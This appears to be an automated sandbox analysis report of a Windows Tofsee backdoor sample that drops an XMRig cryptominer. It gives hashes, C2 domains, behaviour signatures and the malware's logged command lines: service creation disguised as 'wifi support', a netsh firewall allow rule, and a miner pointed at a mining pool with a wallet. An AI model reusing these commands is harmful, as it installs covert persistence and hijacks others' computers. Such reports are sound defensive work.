Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    15-05-2023 19:15

General

  • Target

    file.exe

  • Size

    234KB

  • MD5

    f8df432779abcda0e118d44dc6dde5c7

  • SHA1

    2574314f96737d4a909246b06f6d0904b1b0e6f6

  • SHA256

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2

  • SHA512

    43974649ae90e164b8a17288c8c8b249dcdbac0a0c4fc9cdac70edbea455f880be7642e03c33e882e3a0bfaeccca46636398a604867451be52e059fc5fb1e75f

  • SSDEEP

    3072:5fPQrqA+LychM1+ziXtcsM/RHbyp+EpsVNg0cqF2Oq5pqIyYnAZ81MZ:mE1MOYcb/jxBUOqptZnAa1MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ttjgqtcn\
      2⤵
        PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nzlqntsg.exe" C:\Windows\SysWOW64\ttjgqtcn\
        2⤵
          PID:1440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ttjgqtcn binPath= "C:\Windows\SysWOW64\ttjgqtcn\nzlqntsg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ttjgqtcn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ttjgqtcn
          2⤵
          • Launches sc.exe
          PID:2040
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1784
      • C:\Windows\SysWOW64\ttjgqtcn\nzlqntsg.exe
        C:\Windows\SysWOW64\ttjgqtcn\nzlqntsg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1568
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:320

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\nzlqntsg.exe

        Filesize

        10.9MB

        MD5

        113f859d0abdba2b2fba71005a5921a2

        SHA1

        efb005b59ffb3e7cc51d8312e224d00fcab6b246

        SHA256

        1a857352b4da20240a2556122a89206977371bb51acf1604d22d148b76de76b8

        SHA512

        fc0a7092e05db537f7ae736deff918164a26db541d7622e21f695aa02693528977ee1fc4e1cb592f8647ae83315839b2ca1775e0a13f6084e8e9df717d19445d

      • C:\Windows\SysWOW64\ttjgqtcn\nzlqntsg.exe

        Filesize

        10.9MB

        MD5

        113f859d0abdba2b2fba71005a5921a2

        SHA1

        efb005b59ffb3e7cc51d8312e224d00fcab6b246

        SHA256

        1a857352b4da20240a2556122a89206977371bb51acf1604d22d148b76de76b8

        SHA512

        fc0a7092e05db537f7ae736deff918164a26db541d7622e21f695aa02693528977ee1fc4e1cb592f8647ae83315839b2ca1775e0a13f6084e8e9df717d19445d

      • memory/320-111-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-122-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-123-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-124-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-119-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-120-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-121-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/320-112-0x00000000001B0000-0x00000000002A1000-memory.dmp

        Filesize

        964KB

      • memory/1212-65-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB

      • memory/1568-88-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-94-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1568-78-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-81-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-82-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-83-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-84-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-85-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-87-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-86-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1568-89-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-91-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-90-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-92-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-93-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-74-0x0000000001930000-0x0000000001B3F000-memory.dmp

        Filesize

        2.1MB

      • memory/1568-95-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-96-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-97-0x0000000000280000-0x0000000000290000-memory.dmp

        Filesize

        64KB

      • memory/1568-98-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/1568-101-0x0000000000290000-0x0000000000295000-memory.dmp

        Filesize

        20KB

      • memory/1568-102-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/1568-105-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/1568-106-0x00000000002A0000-0x00000000002A7000-memory.dmp

        Filesize

        28KB

      • memory/1568-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1568-71-0x0000000001930000-0x0000000001B3F000-memory.dmp

        Filesize

        2.1MB

      • memory/1568-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1568-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1568-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1568-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1568-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2000-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2000-59-0x0000000000400000-0x00000000006B8000-memory.dmp

        Filesize

        2.7MB